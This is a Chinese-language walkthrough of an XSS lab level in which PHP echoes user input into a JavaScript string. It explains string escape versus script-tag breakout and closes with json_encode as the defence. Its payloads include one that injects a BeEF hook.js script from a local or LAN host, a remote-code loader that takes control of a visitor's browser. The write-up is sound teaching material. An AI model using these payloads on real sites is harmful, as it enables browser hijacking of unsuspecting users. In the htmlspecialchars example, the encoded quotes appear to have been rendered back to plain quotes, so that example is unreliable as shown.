1. 核心考点
- JS 上下文注入:输入点位于
<script>标签内部的 JS 代码中,而非普通的 HTML 标签属性中。 - DOM 解析优先级:理解浏览器解析 HTML 标签(如
</script>)的优先级高于执行 JS 代码。 - 防御误区:理解为什么
htmlspecialchars在 JS 上下文中会破坏业务逻辑(实体编码在 JS 里不会自动解码)。
2. 源码分析与原理解析
查看后端代码与前端输出逻辑:
$jsvar=$_GET['message']; // 直接接收输入,未处理
// ... HTML ...
<script>
$ms='<?php echo $jsvar;?>'; // 漏洞点在这里
// 后续逻辑...
</script>
困惑点解析:
当浏览器读取到这段代码时,它处于 JavaScript 执行上下文 。
原本的设计是:$ms = '用户输入的内容'; -> 这是一个单纯的 字符串赋值 操作。
攻击原理:
攻击者的目标是打破这个“字符串”的牢笼,让浏览器执行恶意代码。这里有两种流派:
- 流派一:原地越狱 (In-Script Escape)
输入'; alert(1); //
生成的代码:$ms=''; alert(1); //';';闭合了前面的单引号和语句。alert(1);成为独立的 JS 命令执行。//注释掉了后面 PHP 生成的那个残留的单引号。
- 流派二:暴力拆迁 (Tag Breakout) —— 我使用的方法
输入</script><script>alert(1)</script>
原理是:HTML 解析器的优先级高于 JS 引擎 。
不管 JS 语法对不对,只要 HTML 解析器看到了</script>,它就认为这个脚本块结束了。
3. 漏洞复现
3.1 我的 Payload 分析
我构造的 Payload:
';var s=document.createElement('script');s.src='http://localhost:3000/hook.js';document.body.appendChild(s);</sCRiPt><sCRiPt>
浏览器视角的解析过程:
- 拼接:PHP 将输入拼接到页面中,变成:
<script> $ms='';var s=...;document.body.appendChild(s);</sCRiPt><sCRiPt>'; // ... 原本的后续代码 ... </script> - HTML 解析 :
浏览器读到</sCRiPt>(大小写不敏感) 时,判定 当前脚本块结束 。
虽然 JS 语句还没写完(比如最后的'没闭合),但浏览器不管,先把这段交给 JS 引擎去跑。 - JS 执行:
JS 引擎收到代码:$ms='';var s=...;document.body.appendChild(s);$ms='';-> 语法正确。var s=...-> 恶意代码执行,BeEF 上线。- JS 引擎执行完毕。
- 后续残留 :
后面紧接着的<sCRiPt>'; ... </script>开始了一个新的脚本块。
这个新块里的内容是以';开头的,这会导致 JS 语法报错,但这不重要,因为上面的恶意代码已经执行过了。


3.2 为什么加了 </sCRiPt><sCRiPt>?
其实,单纯用 </script> 结束标签就足够让代码执行了。后面加的 <sCRiPt> 其实是为了让页面结构看起来“对称”一些,或者试图修复后面原本代码的结构,但在 XSS 攻击中,只要代码执行了,页面后面报不报错通常无所谓。
优化后的 Payload (更优雅的闭合):
直接在当前 JS 块中闭合,不破坏 <script> 结构:
x';var s=document.createElement('script');s.src='http://192.168.1.100:3000/hook.js';document.body.appendChild(s);//
这样生成的代码是:
$ms='x';var s=...;document.body.appendChild(s);//';
这在控制台连报错都不会有,更加隐蔽。


4. 防御措施 (为什么源码提示说 htmlspecialchars 不行?)
这是本关最重要的知识点。
如果使用 htmlspecialchars:
输入:x'; alert(1);
输出:$ms='x'; alert(1);';
在 HTML 标签(如 div)里,' 会显示为 '。
但在 <script> 标签里,JS 引擎 不会 自动把 ' 变回 '。
JS 引擎会认为 $ms 的值就是字符串 "x'; alert(1);"。
结果: XSS 被防御住了,但是,如果用户真的想输入 tmac's shoes,页面就会显示乱码 tmac's shoes,导致业务逻辑出错。
正确的防御姿势:
在 JS 输出点,应该使用 JavaScript 转义(使用反斜杠 \ 转义特殊字符),或者使用更现代的 JSON 编码。
修复代码示例:
// 方法 1: 使用 json_encode (推荐,最稳健)
// json_encode 会自动给字符串加上双引号,并处理所有转义字符
$jsvar = json_encode($_GET['message']);
// 输出结果: $ms="x'\"; alert(1)"; (安全的字符串)
// 方法 2: 手动十六进制转义 (如果非要拼接)
// 将 ' 转换为 \x27
PHP 修复后输出:
<script>
$ms=<?php echo json_encode($_GET['message']); ?>;
// 如果输入 x'; alert(1)
// 结果: $ms="x'; alert(1)";
// 依然是字符串,无法执行。</script>